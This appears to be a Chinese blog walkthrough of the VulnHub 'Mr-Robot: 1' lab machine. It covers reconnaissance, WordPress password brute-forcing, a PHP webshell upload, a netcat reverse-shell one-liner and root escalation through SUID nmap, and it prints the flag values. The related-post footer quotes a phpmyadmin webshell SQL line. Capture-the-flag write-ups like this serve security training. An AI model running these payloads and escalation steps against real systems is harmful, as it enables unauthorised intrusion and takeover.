渗透实战-vulnhub-Mr-Robot: 1

已于 2023-04-23 02:02:49 修改
阅读量366 收藏
点赞数
分类专栏： 靶场实战 文章标签： 网络 ssl http web安全 运维
于 2023-04-23 02:02:30 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_52263650/article/details/130313371
版权

渗透实战-vulnhub-Mr-Robot: 1

前景提要

md，今天想要继续webshell的时候kali卡死了，重启之后就一直只能进入命令行界面，按照网上的方法也访问不了图形化界面，只能回滚快照。配好环境在继续的时候，发现靶机给我玩坏了，不知道为啥访问80端口和443端口显示的都是我昨天写的phpinfo()页面。懒得重置了，前面信息收集懒得再做一遍了，将就看吧。

信息收集

主机发现

┌──(root㉿kali)-[~/桌面/webshell/Cknife]
└─ arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:68:c5:69, IPv4: 192.168.48.128
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.48.1	00:50:56:c0:00:08	VMware, Inc.
192.168.48.2	00:50:56:e1:fd:22	VMware, Inc.
192.168.48.144	00:0c:29:0a:5e:39	VMware, Inc.
192.168.48.254	00:50:56:f7:e7:0c	VMware, Inc.

目标IP：192.168.48.144

扫端口

┌──(root㉿kali)-[~/桌面/webshell/Cknife]
└─ nmap -sC -sV -p- 192.168.48.144
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-22 18:44 CST
Nmap scan report for 192.168.48.144
Host is up (0.00051s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:0A:5E:39 (VMware)

22端口开了ssh服务没开，有点奇怪。

还开放了80和443端口，服务也都正常开放。

扫目录

┌──(root㉿kali)-[~]
└─ dirsearch -u http://192.168.48.144
结果过多

反正扫出来有意思的目录就

http://192.168.48.144/robot.txt

http://192.168.48.144/readme

http://192.168.48.144/wp-login

寻找Flag

信息利用

访问http://192.168.48.144/robot.txt发现第一个flag文件key-1-of-3.txt

另一个文件fsocity.dic下载下来一看就是一个可以用来爆破的文件，先保存为passwd.txt

密码爆破

http://192.168.48.144/wp-login是个后台登录页面，不能直接爆破用户名和密码，爆破文件中有八万条数据，这样爆破的话数据量太多了，所以我们先访问忘记密码页面爆破用户名

看到网上的一个思路是发现文件数据过多可以先进行去重，去重语句"sort fsocity.dic | uniq > dic.txt"

http://192.168.48.144/wp-login.php?action=lostpassword

利用burp爆破得到用户名有三个elliot、Elliot、ELLIOT

然后在登录界面爆破，得到用户elliot的密码ER28-0652

webshell

登录后台

查一查wardpress后台的webshell思路

https://www.cnblogs.com/dubh3/p/11561400.html

根据这篇文章的渗透思路

先找到插件上传点

在这里插入图片描述
在这里插入图片描述

成功上传phpinfo.php文件并且根据上传时间访问上传文件

http://192.168.48.144/wp-content/uploads/2023/04/phpinfo.php

在这里插入图片描述

OK，上传一句话木马然后访问

http://192.168.48.144/wp-content/uploads/2023/04/shell.php

在这里插入图片描述

C刀连接试试

在这里插入图片描述

应该是目标站点的php版本过高导致的，我记得之前看过一篇文章说Cknife的PHP版本限制只能在五点多以下吧

咱们换蚁剑！！！

安装过程还算顺利
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rjS8OKWu-1682186029229)(/root/.config/Typora/typora-user-images/image-20230423001545414.png)]
在这里插入图片描述

连接成功

在这里插入图片描述

成功找到flag2文件

下载到本地后

在这里插入图片描述

应该是没有读取文件的权限

在蚁剑打开的终端可以看到

在这里插入图片描述

但是后面的一个文件有可读的权限下下来打开看看

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rjS8OKWu-1682186029229)(/root/.config/Typora/typora-user-images/image-20230423001545414.png)]
在这里插入图片描述

应该是robot用户的密码的md5加密

淦，md5解密还要钱，作为白嫖党怎么能忍，我直接就从网上找攻略

密码是abcdefghijklmnopqrstuvwxyz

反弹shell

编写反弹shell的脚本然后上传

 <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.48.128 5555 >/tmp/f');?>  
 //反弹shell到192.168.48.128机器的5555端口

成功上传后在主机上启动监听，然后访问木马文件

192.168.48.144/wp-content/uploads/2023/04/Rebound_shell.php

在这里插入图片描述

┌──(root㉿kali)-[~]
└─ nc -lvp 5555
listening on [any] 5555 ...
192.168.48.144: inverse host lookup failed: Unknown host
connect to [192.168.48.128] from (UNKNOWN) [192.168.48.144] 47875
/bin/sh: 0: can't access tty; job control turned off
$ ls
Rebound_shell.php
shell1.php
$ su robot
su: must be run from a terminal
$

成功监听但是想要切换用户还是提醒“必须运行在一个终端”，淦，反弹的shell不算吗。

查了一下，反弹shell和蚁剑的终端都和交互式终端不一样，想要运行su这样的命令需要提升至交互式的shell

如何把一个简单的shell就升级到了一个标准交互式shell

https://www.jianshu.com/p/e7202cb2c3dd

在反弹的shell中写入如下脚本，然后就可以执行su命令了

$ python -c 'import pty; pty.spawn("/bin/bash")' 

┌──(root㉿kali)-[~]
└─ nc -lvp 5555
listening on [any] 5555 ...
192.168.48.144: inverse host lookup failed: Unknown host
connect to [192.168.48.128] from (UNKNOWN) [192.168.48.144] 47877
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")' 

daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2023/04$ su robot
<pps/wordpress/htdocs/wp-content/uploads/2023/04$ su robot                   
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2023/04$

OK，已经切换为robot用户了，去看看第二个flag

robot@linux:/home$ cd /home/robot	
cd /home/robot	

robot@linux:~$ ls
ls
key-2-of-3.txt	password.raw-md5

robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959

提权

第三个flag应该就放在root目录里面了，后面就是提权的操作了

robot@linux:~$ uname -a
uname -a
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

robot@linux:~$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.2 LTS
Release:	14.04
Codename:	trusty

查询到目标主机的系统版本为Ubuntu 14.04.2，内核版本是3.13.0-55

searchsploit查查有没有可以利用的提权漏洞

┌──(root㉿kali)-[~]
└─ searchsploit privilege Ubuntu 14.04.2
#因为只要提权漏洞所以加入参数privilege
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
Apport 2.14.1 (Ubuntu 14.04.2) - Local Privil | linux/local/36782.sh
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14. | linux_x86-64/local/42275.c
Ubuntu < 15.10 - PT Chown Arbitrary PTs Acces | linux/local/41760.txt
---------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

┌──(root㉿kali)-[~]
└─ cd 桌面/MrRobot/

┌──(root㉿kali)-[~/桌面/MrRobot]
└─ searchsploit -m 36782
  Exploit: Apport 2.14.1 (Ubuntu 14.04.2) - Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/36782
     Path: /usr/share/exploitdb/exploits/linux/local/36782.sh
    Codes: CVE-2015-1318, OSVDB-120803
 Verified: False
File Type: POSIX shell script, ASCII text executable
Copied to: /root/桌面/MrRobot/36782.sh

┌──(root㉿kali)-[~/桌面/MrRobot]
└─ ls
36782.sh  key-2-of-3.txt  MrRobot.md  password.raw-md5

。。。。

才发现没有办法创建文件或者下载文件。。。这咋搞

看看sudo权限

robot@linux:~$ sudo -l
sudo -l
[sudo] password for robot: abcdefghijklmnopqrstuvwxyz

Sorry, user robot may not run sudo on linux.

查了下，找到了一个新姿势

利用可执行文件SUID进行Linux提权

如何利用参考这篇文章https://blog.csdn.net/qq_43632414/article/details/120592028#:~:text=%E5%B7%B2%E7%9F%A5%E5%8F%AF%E7%94%A8%E6%9D%A5%E9%80%9A%E8%BF%87SUID%E6%9D%83%E9%99%90%E8%BF%9B%E8%A1%8C%E6%8F%90%E6%9D%83%E7%9A%84linux%E5%8F%AF%E6%89%A7%E8%A1%8C%E6%96%87%E4%BB%B6%E5%A6%82%E4%B8%8B%EF%BC%9A%20nmap%20find%20vim%20bash,more%20less%20nano%20cp%20%2F%2F%E4%B9%9F%E5%B0%B1%E6%98%AF%E8%AF%B4%EF%BC%8C%E4%BB%A5%E4%B8%8A8%E4%B8%AA%E5%8F%AF%E6%89%A7%E8%A1%8C%E7%9A%84%E6%96%87%E4%BB%B6%EF%BC%8C%E8%A6%81%E6%98%AF%E8%A2%AB%E8%AE%BE%E7%BD%AE%E4%BA%86suid%E6%9D%83%E9%99%90%EF%BC%8C%E5%B0%B1%E5%8F%AF%E4%BB%A5%E7%94%A8%E5%AE%83%E6%9D%A5%E8%BF%9B%E8%A1%8Clinux%E6%8F%90%E6%9D%83%201

使用命令：find / -user root -perm -4000 -print 2>/dev/null 寻找可以利用的命令，发现了nmap命令。

robot@linux:~$ find / -user root -perm -4000 -print 2>/dev/null 
find / -user root -perm -4000 -print 2>/dev/null 
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

发现可以提权的文件nmap，看看版本符不符合

robot@linux:~$ nmap -v
nmap -v

Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2023-04-22 17:37 UTC
No target machines/networks specified!
QUITTING!

在2.02至5.21之间，OK，开始提权

进入可交互模式 nmap --interactive

然后执行 !sh，将提供一个权限提升的shell

robot@linux:~$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# ls
ls
key-2-of-3.txt	password.raw-md5
# touch test.txt 
touch test.txt
# ls
ls
key-2-of-3.txt	password.raw-md5  test.txt

提权成功

接下来寻找flag3

# cd  /root
cd /root
# ls
ls
firstboot_done	key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4

总结

WordPress后台getshell思路

getshell后可以将其提升为交互式shell

一个新的提权思路：通过SUID权限文件提权

布里丹的毛驴
关注
专栏目录
靶机渗透测试（Mr-Robot: 1）
@小张小张的博客
11-05 1252
靶机渗透测试（Mr-Robot: 1）： Vulnhub靶机 Mr-Robot: 1 靶机：修改靶机的网络配置为桥接模式。 攻击机：Kali虚拟机，同样使用桥接模式，即可访问靶机。 靶机难度：（beginner-intermediate.） 目标：This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find 进
No.23-VulnHub-Mr-Robot: 1-Walkthrough渗透学习
qq_34801745的博客
01-20 770
** VulnHub-Mr-Robot: 1-Walkthrough ** 靶机地址：https://www.vulnhub.com/entry/mr-robot-1,151/ 靶机难度：中级（CTF） 靶机发布日期：2016年6月28日 靶机描述：根据表演，机器人先生。 此VM具有隐藏在不同位置的三个键。您的目标是找到全部三个。每个密钥逐渐难以找到。 VM不太困难。没有任何高级开发或逆向工程。该...
vulnhub刷题记录（JANGOW: 1.0.1）
ailx10
08-20 345
英文名称：Jangow：1.0.1中文名称：詹戈：1.0.1发布日期：2021 年 11 月 4 日难度：容易描述：这个盒子的秘密是枚举！查询jangow2021@gmail.com下载地址：https://www.vulnhub.com/entry/jangow-101,754/ 1、可以看到IP地址，对其进行端口扫描ip可以看到开放了21端口和80端口端口扫描2、访问web页面，看到代码执行A...
[译]web shell中使用su
iteye_16188的博客
11-11 198
原文地址：[url]http://pen-testing.sans.org/blog/pen-testing/2014/07/08/sneaky-stealthy-su-in-web-shells[/url] [b][color=red]本文的重点是讲述如何使用su[/color][/b] 场景：web服务器中存在一个上传漏洞，site确保上传文件以.jpg或.png结尾。这时，上传一个she...
VulnHub1：Jangow: 1.0.1靶机入侵
g457499940的专栏
08-12 747
网络安全
Over-discord-bot-site-master::robot::robot::robot::robot::robot::robot:
05-01
欢迎使用Vue CDN模板 :waving_hand: 由cdn使用Vue的简单模板。 :sparkles: :bookmark_tabs: 内容 特征 :high_voltage: ... 用法 :hammer_and_pick: ... 给一个 :star: 如果这个项目对您有帮助！...
telegram-qa-with-arxiv-papers：:robot::robot::robot:使用Telegram bot大规模使用arXiv论文回答问题
02-04
git clone --depth=1 https://github.com/paper2code/telegram-qa-with-arxiv-papers cd telegram-qa-with-arxiv-papers mv .env-example .env 码头工人 要telegram-qa-with-arxiv-papers启动telegram-qa-with-arxiv
dingdang-robot：:robot:叮当是一个可以工作在Raspberry Pi上的中文语音对话机器人智能音箱项目
02-05
git remote add origin https://github.com/dingdang-robot/dingdang-robot.git 叮当是一个可以在Raspberry Pi上的开源中文语音对话机器人/智能音箱项目，目的是让中国的Hacker们也能快速打造个性化的智能音箱。 ...
一个无害的休闲机器人，提醒您发布您的日常状态:robot:-Golang开发
05-26
一个无害的松弛机器人，提醒您发布您的日常状态:robot:FrodoBot一个无害的松弛机器人，提醒您发布您的日常状态:robot:给一颗星！ :star:如果您喜欢这个项目，请考虑给它一个:star:star。 谢谢！ 前提条件创建一个...
wukong-robot::robot: wukong-robot 是一个简单、灵活、优雅的中文语音对话机器人智能音箱项目，还可能是首个支持脑机交互的开源智能音箱项目
05-01
wukong-robot wukong-robot 是一个简单、灵活、优雅的中文语音对话机器人/智能音箱项目，目的是让中国的 Maker 和 Haker 们也能快速打造个性化的智能音箱。wukong-robot 还可能是第一个开源的脑机唤醒智能音箱。 ...
wordpress(awd复现)
qq_48511129的博客
01-19 3849
漏洞一:phpmyadmin数据库getshell 在网站源码位置发现phpmyadmin文件夹，进行文件访问 弱口令root,root进入mysql后台(也可以在数据库配置文件中查看) phpmyadmin后台执行sql语句 select “<?php eval($_POST[cjm]);” into outfile “/app/cjm.php”; 成功getshell 漏洞二:phpmyadmin后台文件包含 登入phpmyadmin的后台 http://114.67.175.224:10477.
Ubuntu创建用户，用户授权，查看用户权限
热门推荐
学无止境
03-28 2万+
创建用户，自动在/home/目录下创建相应的文件夹 sudo adduser <用户名> 用户授权 chown -R <用户名>:<密码> /home/<用户名> chmod 760 /home/<用户名> 查看有sudo权限的用户： sudo vim /etc/sudoers 如需要给某用户添加sudo权限，可以在 # User...
Docker基础: Linux内核命名空间之（1） mnt namespace
知行合一 止于至善
09-15 1万+
作为开源Container技术代表的Docker，它跟Linux内核的Namespace和Cgroup两大特性密不可分。物有本末，事有终始。知所先后，则近道矣。理解Linux的这两大特性将有助于我们更深入的理解Docker。在前面的文章中，我们曾经体验过如何使用chroot和LXC，在接下来几篇文章中，我们将会使用unshare命令来演示Linux内核的命名空间到底是怎么玩的。
vulhub - Mr. Robot 1 writeup
Jiajiajiang_的博客
04-04 1369
主机来源：www.vulnhub.com 下载链接：https://download.vulnhub.com/mrrobot/mrRobot.ova 准备工作 下载.ova文件，直接双击即可安装成功。 设置连接方式为NAT，攻击机器使用kali，也设置为NAT。 发现IP 刚安装的虚拟机并不知道IP地址，使用netdiscover发现IP。 root@kali:~# net...
Linux 再入门整理：详解 /etc/fstab 文件
一只奋斗的猪
10-01 1218
`/etc/fstab` 文件是 Linux 系统中用于定义和管理文件系统的挂载信息的配置文件。它的作用是告诉系统在启动时，应该如何自动挂载各种文件系统。挂载是 Linux 操作系统中一种将存储设备与目录树关联的操作。通过挂载，存储设备中的文件可以通过目录访问。
毕业设计——springboot+netty+websocket实现一个简单的ChatGpt机器人聊天
【CSDN】
09-29 912
WebSocket是html5开始浏览器和服务端进行全双工通信的网络技术。在该协议下，与服务端只需要一次握手，之后建立一条快速通道，开始互相传输数据，实际是基于TCP双向全双工，比http半双工提高了很大的性能，常用于网络在线聊天室等。申请key的教程在项目resources目录readme.md文件中。1、接入了chatGpt接口，只需要替换成自己的key就行。2、实现了与机器人的聊天，可以优化做成智能客服。
从零开始实现RPC框架---------项目介绍及环境准备
qq_41934502的博客
10-02 406
从零开始实现rpc架构项目介绍
【华为HCIP实战课程六】OSPF邻居关系排错网络子网掩码问题，网络工程师
最新发布
Bert_Wang的博客
10-06 116
因为R3和R4直连的链路为PPP链路，则可以学到对端链路的32位主机路由，可以正常建立OSPF邻居关系。R3和R4虽然不在同一网段，此时R3是可以ping通R4的互联地址 10.1.34.4。R3仍然可以正常和R4建立邻居关系，因为此时虽然没有对端直连路由但是有对端ospf路由。R4可以查看对端的接口的ospf路由，可以正常建立ospf邻居关系。此时我们把R3和R4链路类型更改为HDLC。R3和R4已经建立正常的ospf邻居关系。更改IP地址前R3接口IP地址。
DIY WIFI-ROBOT：DB120路由器刷机与固件配置教程
本文档分享了作者关于使用DB120型号路由器进行Wi-Fi-ROBOT DIY项目的刷机心得，针对初学者提供了详细的步骤指南。首先，作者强调了刷机过程中的注意事项，包括确保路由器与电脑通过LAN4接口连接，并正确设置电脑的IP...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值